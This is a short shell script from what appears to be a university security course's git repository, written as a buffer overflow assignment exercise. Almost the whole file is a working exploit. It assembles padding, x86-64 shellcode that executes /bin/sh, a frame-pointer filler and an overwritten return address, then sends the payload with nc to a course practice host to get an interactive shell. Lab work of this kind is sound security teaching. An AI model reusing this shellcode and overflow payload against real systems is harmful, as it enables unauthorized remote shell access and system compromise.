poging
[sws1-1415.git] / ass5b / mart / sws1-assignment5b-s4109503-s4202015 / exercise2e.sh
1 # Buffer is 104 bytes
2 # Shell code is 30 bytes so we need to fill 73 bytes
3 # Then we need to skip the sfp and fix the return address to our address
4
5 #fillers=$(printf "%73s")
6 #fillers="a\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f"
7 fillers="\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f\x0f\x1f"
8 shellcode="\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
9 sfpfiller="\x01\x01\x01\x01\x01\x01"
10 # Return value is
11 # 0x7ffff7dd8de0 - 73 = 7ffff7dd8e29 -
12 # The buffer
13 returnvalue="\x7f\xff\xf7\xdd\xeb\x30"
14 cat <(echo -e "${fillers}${shellcode}${sfpfiller}${returnvalue}\n") - | nc hackme.cs.ru.nl 2266